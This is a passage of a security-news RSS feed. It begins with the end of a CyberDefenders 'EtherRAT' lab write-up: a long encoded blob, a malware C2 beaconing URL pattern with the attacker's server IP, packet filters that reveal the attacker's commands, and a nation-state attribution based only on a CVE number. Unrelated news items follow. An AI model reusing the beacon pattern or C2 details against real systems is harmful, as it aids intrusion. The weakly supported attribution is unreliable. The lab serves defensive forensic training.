mFzR2RMR0ZKYk1JSDk0bktJNURyZTg5THpSeUIxVEREckVSaUZnZVRkU0FHZlF0bGVDL29WdzNER0FJSnB4QnRKTkZrK3BidXl3R1VrQ3BxRG4vYkt5cnhQb0Nua1B3NEh2a1dTUWJ2ZkhzR2RZWXhSM3JZTHlkaWNQTWxqaXdvSjg3SkxmdHFqaEtMZHVxeXNFd1RnWVJ1ekVWdi9sL0xvZVJOcUtIZGY5VTZXUUdwWU9KK2djQkg4cGZwSEtvZHVrdjZEOVNwajhtbWx3eEN4aFp0UHVCM3J0M01WUG5WSWY4ZW93c0g5Mys1RDdaTjJlQTk5RE1wZFI4VCt1ZnNrUGtidzNKaDJhZy94WTg4ZEY2ckdoOTF2SGtPb1N5K2hCM1dFTEw5WlNXWEdFSitzWHdRQ2IybnNyZldNZDZUSHFYL2Rkc3VuanI0ZWoyYmpzS0FzaUlCcU1MUmFlUEhsMVB6cVFFMVY4VWg3c1UrRi83UERIQ2I1SnAxcHUwYThyeDRyenlMQStnSGFmWU1EODRoUzZidGV2TmtxeTNQZDQ1MnJDeGJkSjMyc3d6QTB0K1pSb2dEQWk4Tm9ZOTBnUHhremlMVS94aFB4dlpPUXBXcEo2SUVnUHdzalkzSVArcm4zeWNZWmlyUFpmQXdlbG91Qkx3Q3JLN0tCR1RoT3pYeE93VUlwc0FIM1dxc3NBd0tBbWYyNHZWeWdyTU1JTjZvZXQ5WXhqR1VBUkpsRmpZTlhYS0JKa2EzTGJ6b3hJRTg0UEZRNGJvbFl3akpwZjdJNzhOZ0ZLWWdBc2FPUHFaeWtNODNhMUlVZnZiaWhPWHVKaVArcWRNNnJLSUpVQVdrcGNQcUd6aXFETnBkZk1nR3dkUDdEVW1Xc2lrTFhrRThjWU5vRUtKWjFjUnNBaTBadW1DMVJiamZBcmt2a2Z3QnpMT3hocVM5TVBzdFM1WFBZODJYckNMcHRObjZaZWNvUUcyMWxsMGNkUlpDY0FHZ3kxUERneTNiVTZEdVNzdFE5QXBTRk5WNUhmRis2WERHVzlacysza0MzdW9Td2gvSVNnYk1UV3c3bmw3RkVZR2Z4Z3pKNjZITk9RbG5LV09zamsxeUYwL0NPcEZrcjhVdTBwS2M1S0hKSmhsTCtQczg2eWZMR2Qwc3pKK255cVViZTlLUGszM285VWVKaU1FdGFTYXBSWVBFQ2NUUUI5QVhhYjdBK1BSTFNvUmE5Ry9vbHVRWVVKNktIekZDdCtMNzgrUUVWZ29OVWI4QysxZlBMN0VXckhRU2JTc0tzcDNMOERQNFdOUDl5MktzMnl1MWhNQS8rSG9GK0RBd05BYzhJclBnNkJjZEVlNEhRbTRWR0dxaks5SlMyeFZTY2hQTnhxYXRZa3ZxdzNBd3gwZlR3NXordzYrUk9rRTlCZHAxajZKRWpUMi9jYklWZ0ZvT3dSbjBnanlkVXZMTVdwZzdBOXM4dzdnQXQrQkdtT3VqV3c0NUZkNkF6QUY0R05haGtPMll5Ti9BN3JFaWdUQ2dadi91RUhYeU9YM2s1Mmo5ZFBxVE4zK3kySk5PZGsxQXp4THZpMjd1RGRrVHEvOW5sY21IRGIvaTUrTUMwc1ZmU0FNR0NYcFdRODc0WEhZOExaZ3liU0x6STlnSHpwSjBMODJ2NlF5dHhXVldrU05rVy9jS1VwTGdiNTdEeHFnNGRHS2sydmJPRUxCR1k1YlNIU2x6R1RzeGk2Y2owbXFsUDU1cThuMk16NWVSYisxclRtQVNPUzVTVk1PWVJsZ1M2TW9ZdkRVSzY0UVNmWW9SSFFaZm1nMWxIT2dMaDEvaHgwVGlsQ3M3T0drREQ3c0ltVElIdWpGZ2ZsZFh4WW5nRWRoL0F0bXlwbWxjYktnVEZsbWlCL3ZkQ1lmN1JPMEk4eVhXQksyeU81bkRsNUJyVUsyTDRVRzZXZm5jejZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>Link</em></strong></a>), we can determine that It generates a fake-looking URL, which is used for Beaconing:</p><pre>https://&lt;C2_DOMAIN&gt;/api/&lt;RANDOM&gt;/&lt;BOT_ID&gt;/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=&lt;BOT_ID&gt;<br><br><br>https://63.176.62.199:443/api/&lt;RANDOM&gt;/4ebfbc8aedf60511/&lt;RANDOM&gt;.&lt;EXT&gt;?&lt;PARAM&gt;=4ebfbc8aedf60511</pre><p>So, by searching with this query: http.request.method==GET and ip.src==172.31.44.238 and ip.dst==63.176.62.199, we can see this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zchnVE3ywWnlgaYkZc_hfg.png"></figure><p>All commands by the C2 Beaconing server (with some jitter intervals)</p><p>SO, we can determine the command by following the TLS Stream for each packet, (the command will be seen in the GETresponse packet) like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yY1gdzl-NMzhBQR2DgNueg.png"></figure><p>or another way, with searching for the POSTrequests, from the web-server to the C2 server with query: http.request.method==POST and ip.src==172.31.44.238 and ip.dst==63.176.62.199</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh2_E054JqvFSIOisp6UAA.png"></figure><p>and get the precious commands “<em>whoami</em>” with the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*acqR2Vl9mFm5SMsTbirT4g.png"></figure><blockquote>2026–02–10 18:40</blockquote><blockquote><strong><em>Q18: </em></strong><em>After establishing access, the attacker closed the door behind them so no one could get in the way they did.<br>What </em><strong><em>Next.js</em></strong><em> version was installed to patch the vulnerability?</em></blockquote><p>investigating all commands by this amazing query:</p><p>http.request.method==POST and ip.src==63.180.69.24 and http.request.uri <br>contains "/login" and http.content_length&gt;339</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MnvPO6KMhyIt7QftYSbe3g.png"></figure><p>we now have all the 8 executed commands, this one is the one we need</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IuLehjV-QTRSsfIV5U5I2g.png"></figure><p>so by investigating each packet (Follow TLS) we can find this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bqBDSeH9JRM7jcQlsrKyEA.png"></figure><blockquote>15.3.9</blockquote><blockquote><strong><em>Q19: </em></strong><em>Based on the observed IOCs and TTPs,<br>which nation-state is most likely behind this activity?</em></blockquote><p>from the CVE number (CVE-2025–55182), we identified that it’s origin from North Korea (<strong>DPRK</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*veWl3yO0BkPGVY53w1pV4w.png"></figure><blockquote>DPRK</blockquote><h4>Thanks For Reading, Hope you enjoyed❤️</h4><h4>Keep in touch with me via: <a href="https://linktr.ee/Prankster99">https://linktr.ee/Prankster99</a></h4><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=e7aecaf51b7a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/callmeonthechain-etherrat-lab-writeup-cyberdefenders-e7aecaf51b7a">CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Heartstopper Forever has a brilliantly unexpected The Odyssey Easter egg in new Netflix movie — and it's not just that they both have the same release date]]></title>
<description><![CDATA[What do Heartstopper Forever and The Odyssey have in common? Aside from the same release date, there's a clever Greek Easter egg hidden in the new Netflix movie.]]></description>
<link>https://tsecurity.de/de/3677735/it-nachrichten/heartstopper-forever-has-a-brilliantly-unexpected-the-odyssey-easter-egg-in-new-netflix-movie-and-its-not-just-that-they-both-have-the-same-release-date/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677735/it-nachrichten/heartstopper-forever-has-a-brilliantly-unexpected-the-odyssey-easter-egg-in-new-netflix-movie-and-its-not-just-that-they-both-have-the-same-release-date/</guid>
<pubDate>Sat, 18 Jul 2026 11:02:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What do Heartstopper Forever and The Odyssey have in common? Aside from the same release date, there's a clever Greek Easter egg hidden in the new Netflix movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Alien World Chemistry Found Inside Meteorite That Struck New Jersey Home]]></title>
<description><![CDATA[Researchers say a meteorite that crashed through the roof of a Hillsborough, New Jersey, home in 2024 contains unusually pristine evidence of salty fluids and organic chemistry from near the surface of a primitive asteroid. "A forensic study of the fragments revealed that they contained preserved...]]></description>
<link>https://tsecurity.de/de/3677574/it-security-nachrichten/alien-world-chemistry-found-inside-meteorite-that-struck-new-jersey-home/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677574/it-security-nachrichten/alien-world-chemistry-found-inside-meteorite-that-struck-new-jersey-home/</guid>
<pubDate>Sat, 18 Jul 2026 09:08:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Researchers say a meteorite that crashed through the roof of a Hillsborough, New Jersey, home in 2024 contains unusually pristine evidence of salty fluids and organic chemistry from near the surface of a primitive asteroid. "A forensic study of the fragments revealed that they contained preserved bits from near the surface of a primitive asteroid, where it experienced concentrated salty fluids -- a process not previously known from this type of protoplanet world," said lead author and meteor astronomer Peter Jenniskens of the SETI Institute and NASA's Ames Research Center in California's Silicon Valley. Phys.org reports: According to paper co-author Mike Zolensky, a meteoriticist at NASA's Johnson Space Center in Houston, analysis of the Hillsborough meteorite found fragments that were more extensively altered by water on the meteorite's parent asteroid than is typically seen in CM2 carbonaceous chondrites. The analysis classified the specimen as a CM1/2 carbonaceous chondrite, an intermediate classification between petrographic types CM1 and CM2. [...] Zolensky and colleague JangMi Han found small salt-rich CM1 fragments within the Hillsborough meteorite, suggesting they originated from a near-surface region of the parent asteroid where liquid water evaporated and concentrated salts. They are now working to identify the salt minerals for comparison with similar phases found among samples returned to Earth from asteroids Ryugu and Bennu.
 
The high concentration of salt in briny fluids can potentially create molecules crucial to life on Earth. Brines allow phosphate to remain in solution and can catalyze chemical reactions between organics and precipitate minerals. "Isotope studies of carbon and nitrogen suggest that primitive carbonaceous chondrites, including CM types, delivered organic matter to the early Earth," said cosmochemist Queenie Chan of Royal Holloway University of London, England, and biogeochemist Nana Ogawa of the Biogeochemistry Research Center at the Japan Agency for Marine-Earth Science and Technology. "The Hillsborough meteorite contained 1.8% by weight of carbon and 0.07% of nitrogen, and had carbon and nitrogen isotopes typical for CM-type meteorites."
 
The meteorite contained a wide variety of soluble organic compounds, and its compositional range confirms that the Hillsborough meteorite was more altered by water than most other CM-type meteorites. "A high fraction of compounds were the product of organic chemistry with minerals," said organic mass spectrometry specialist Phil Schmitt-Kopplin of Technical University Munich. "We do not know if these magnesium organic compounds were contributed by brine chemistry or were simply left over from earlier impact shock processes." In living organisms, organometallic compounds are found in blood and used in photosynthesis. Among the soluble organic compounds were many amino acids, similar to those found in more moderately altered CM2 chondrites.
 
Astrobiologist Danny Glavin of NASA's Goddard Space Flight Center in Greenbelt, Maryland, and his team in Goddard's Astrobiology Analytical Lab concluded that the delivery of amino acids, carboxylic acids and other soluble organic molecules by CM-type bodies may have contributed to the prebiotic organic inventory that preceded the emergence of life on Earth. Their analysis suggests the complex distribution of amino acids observed in the Hillsborough meteorite formed within the parent body, likely assisted by brine fluid chemistry. 
The findings have been published in the journal Science Advances.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Alien+World+Chemistry+Found+Inside+Meteorite+That+Struck+New+Jersey+Home%3A+https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F18%2F0427249%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fscience.slashdot.org%2Fstory%2F26%2F07%2F18%2F0427249%2Falien-world-chemistry-found-inside-meteorite-that-struck-new-jersey-home%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://science.slashdot.org/story/26/07/18/0427249/alien-world-chemistry-found-inside-meteorite-that-struck-new-jersey-home?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Australia To Put Environmental Brakes On AI Data Centers]]></title>
<description><![CDATA[An anonymous reader quotes a report from the New York Times: Australia will require large data centers powering artificial intelligence to generate as much power as they consume, and ensure that creative professionals retain control over work that may be used to train A.I. systems, as the governm...]]></description>
<link>https://tsecurity.de/de/3677402/it-security-nachrichten/australia-to-put-environmental-brakes-on-ai-data-centers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677402/it-security-nachrichten/australia-to-put-environmental-brakes-on-ai-data-centers/</guid>
<pubDate>Sat, 18 Jul 2026 05:36:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes a report from the New York Times: Australia will require large data centers powering artificial intelligence to generate as much power as they consume, and ensure that creative professionals retain control over work that may be used to train A.I. systems, as the government sets up guardrails over the rapidly growing industry. The announcements on Wednesday in a speech by Prime Minister Anthony Albanese came as Australia draws significant interest from A.I. companies because of its size and the availability of renewable energy, and as resistance to data centers builds in many parts of the United States and Europe.
 
Major A.I. companies have opened offices or announced investments in Australia in recent months. The Australian government is trying to balance capitalizing on the A.I. boom with setting parameters on a fast-changing industry that has sparked backlash over environmental impacts, energy use and lack of contribution to local economies. "Every country on earth is grappling with these challenges right now. Australia will be the first country in the world to bring these issues into a single, national framework," Mr. Albanese said Wednesday, laying out the standards his government will pursue.
 
The details of what exactly the requirements will look like and how they will be enforced remain to be seen, and the government will need to secure the backing of individual states for its plan. The government said it would introduce legislation on the standards early next year, and establish an "Office of A.I." directly reporting to the prime minister to coordinate implementation. The "Australian Standards for A.I." will include a "legal obligation" for companies to ensure they do not drain the power grid and be as water efficient as possible, the government said. Mr. Albanese also said creators of books, music, art or news in Australia should retain control of the price and value of their work when used to train artificial intelligence systems. "Anything less is theft," he said. "No country has got this right yet."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Australia+To+Put+Environmental+Brakes+On+AI+Data+Centers%3A+https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F17%2F2142206%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fslashdot.org%2Fstory%2F26%2F07%2F17%2F2142206%2Faustralia-to-put-environmental-brakes-on-ai-data-centers%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://slashdot.org/story/26/07/17/2142206/australia-to-put-environmental-brakes-on-ai-data-centers?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 7 Ending Explained: Kim Loses Control Again]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 7 turns Kim Do-hyeon’s long-awaited reunion with Min-ji into another dangerous fight for survival. Kim finally reaches his daughter, but getting her home safely proves far more difficult than finding her.



Spoiler warning: This article contains major spoilers for A...]]></description>
<link>https://tsecurity.de/de/3676792/ios-mac-os/agent-kim-reactivated-episode-7-ending-explained-kim-loses-control-again/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676792/ios-mac-os/agent-kim-reactivated-episode-7-ending-explained-kim-loses-control-again/</guid>
<pubDate>Fri, 17 Jul 2026 20:10:22 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 7 turns Kim Do-hyeon’s long-awaited reunion with Min-ji into another dangerous fight for survival. Kim finally reaches his daughter, but getting her home safely proves far more difficult than finding her.



Spoiler warning: This article contains major spoilers for Agent Kim Reactivated Episode 7 and earlier episodes.




Release date: July 17, 2026



Streaming platform: Netflix



Korean network: SBS



Airtime: Fridays and Saturdays at 9:50 p.m. KST



Genre: Action, crime, thriller and comedy




The Korean action drama premiered on June 26 and will continue until July 25. Episode 7 brings the story into its final stretch, with only three episodes remaining after this chapter.



Kim’s rescue mission falls apart



Episode 6 ended with Kim finding Min-ji after tracking down the people involved in her disappearance. His quiet promise that they would finally go home gave the pair a brief emotional reunion, but the danger surrounding them had not disappeared.



In Episode 7, Kim attempts to move Min-ji away from the area while Seong Han-su and Park Jin-cheol help protect them. Their escape quickly comes under attack, forcing the three fathers to fight through another group of armed men.



Min-ji also shows that she is more resourceful than her captors expect. Instead of waiting helplessly for someone to save her, she watches her surroundings, looks for an opening and tries to escape. Her actions reflect the courage and survival instincts she inherited from her father.



However, Kim’s rescue mission takes a darker turn when the attack separates him from Min-ji again. The brief reunion leaves him even more determined to destroy everyone involved in placing her life at risk.



Kim confronts Joo Kang-chan



Joo Kang-chan remains at the centre of the conflict. His influence helped turn Min-ji’s school dispute into a violent kidnapping case, while his connections allowed those responsible to avoid immediate consequences.



Kim now understands that simply rescuing Min-ji will not end the threat. As long as Kang-chan and his organisation remain active, his daughter will never be safe.



The confrontation pushes Kim closer to the ruthless operative once known as Code 66. He stops reacting like an ordinary father trapped in a dangerous situation and begins approaching the conflict as a former special agent completing a mission.



Kim’s decision to eliminate the threat also raises a difficult question. Even if he saves Min-ji, she has now seen the violent identity he spent years hiding from her.



Kim’s past becomes the next major threat



Earlier episodes revealed that Kim left his dangerous career behind to raise Min-ji and live as an ordinary bank employee. Her disappearance forced him to use the combat skills, contacts and instincts that he had tried to bury.



Episode 7 makes it clear that his past will continue following him. The next chapter appears ready to explore Code 66 more deeply as another figure from Kim’s former life enters the conflict. The Episode 8 preview directly calls him by his old codename, suggesting that rescuing Min-ji has opened the door to an even larger operation.



With the final episodes approaching, Kim must protect his daughter while facing the consequences of becoming Code 66 again. What do you think will happen when Min-ji learns the full truth about her father? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apollo 11 - Q&A With Stephen Slater and Helen O'Hara (emf2026)]]></title>
<description><![CDATA[Immediately following our screening of Apollo 11, Stephen Slater will be joined on-stage by Empire Magazine's Helen O'Hara to discuss the making of the film. Stephen worked as Archive Producer on Apollo 11 and is one of the world's leading NASA archivists. A chance to hear about the finding of ne...]]></description>
<link>https://tsecurity.de/de/3676310/it-security-video/apollo-11-qa-with-stephen-slater-and-helen-ohara-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676310/it-security-video/apollo-11-qa-with-stephen-slater-and-helen-ohara-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 16:19:14 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Immediately following our screening of Apollo 11, Stephen Slater will be joined on-stage by Empire Magazine's Helen O'Hara to discuss the making of the film. Stephen worked as Archive Producer on Apollo 11 and is one of the world's leading NASA archivists. A chance to hear about the finding of never-seen-before footage and audio that was painstakingly catalogued and restored for inclusion on the film. You will also have your chance to submit questions to Stephen in advance.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/364-apollo-11-q-a-with-stephen-slater-and-helen-ohara]]></content:encoded>
</item>
<item>
<title><![CDATA[Xreal XBX a01+ review: Astoundingly bright, lightweight AR glasses for $299]]></title>
<description><![CDATA[Xreal's XBX a01+ is the best pair of budget AR glasses we've seen yet.]]></description>
<link>https://tsecurity.de/de/3676095/it-nachrichten/xreal-xbx-a01-review-astoundingly-bright-lightweight-ar-glasses-for-299/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676095/it-nachrichten/xreal-xbx-a01-review-astoundingly-bright-lightweight-ar-glasses-for-299/</guid>
<pubDate>Fri, 17 Jul 2026 14:47:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
